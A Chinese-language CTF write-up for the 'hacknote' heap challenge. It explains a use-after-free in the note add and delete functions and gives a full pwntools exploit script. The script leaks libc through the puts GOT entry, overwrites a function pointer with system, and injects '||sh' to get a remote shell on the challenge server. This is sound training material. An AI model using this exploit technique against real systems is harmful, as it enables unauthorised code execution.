


主函数比较简单就是输入1-4,执行相应的功能

存在一个notelist表,notelist可放5个元素,每次执行Add时看是否存在空闲空间,存在则申请一个8byte的空间,前4byte字节存放putself函数地址,后4byte再申请一块子空间,大小为size,内容为用户输入,具体如下:

这里有两点:1. 存在一个函数put_self,并且函数参数为1的,后四个字节指向另一块空间,大小和内容均可以由用户输入

delete_note比较简单,就是free Add函数申请的空间,但存在UAF漏洞

非常简单,就是调用notelist表中所指向地址的函数,参数为自身,如图,正常情况就是put_self函数,参数为自身地址(此处为0xfffffff)

漏洞主要存在于add_note和delete_note中,假设一个这样的场景:


我们的思想就是通过notelist[3]可以直接控制notelist[1]处空间,将notelist[1]的put_self换成system,sub_chunk换成||sh
这个||sh是shell注入,因为按照原来的show的逻辑,是这样的
system(notelist[i])
现在为system( XXXX||sh),先执行system(XXXX),若不行则执行system(sh)
from pwn import *
url, port = "61.147.171.105", 51068
filename = "./hacknote"
elf = ELF(filename)
# context(arch="amd32", os="linux")
context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
context.terminal = ['tmux', 'splitw', '-h']
libc = elf.libc
# gdb.attach(io)
else:
libc = ELF("./libc_32.so.6")
io = remote(url, port)
def BK():
gdb.attach(io) # "b *" + str(hex(addr))
def Add(size,content):
io.sendlineafter(b'Your choice :',b'1')
io.sendlineafter(b'Note size :',str(size))
io.sendlineafter(b'Content :',content)
def Print(index):
io.sendlineafter(b'Your choice :',b'3')
io.sendlineafter(b'Index :',str(index))
def Del(index):
io.sendlineafter(b'Your choice :',b'2')
io.sendlineafter(b'Index :',str(index))
def pwn():
Add(0x20, "zzzz")
Add(0x20, "zzzz")
Del(0)
Del(1)
puts_func_addr = 0x804862B
puts_got = elf.got['puts']
payload = p32(puts_func_addr) + p32(puts_got)
Add(0x8, payload)
Print(0)
libc_base = u32(io.recv(4)) - libc.sym['puts']
Del(2)
system_addr = libc_base + libc.sym["system"]
payload = p32(system_addr) + b"||sh"
Add(0x8, payload)
Print(0)
io.interactive()
if __name__ == '__main__':
pwn()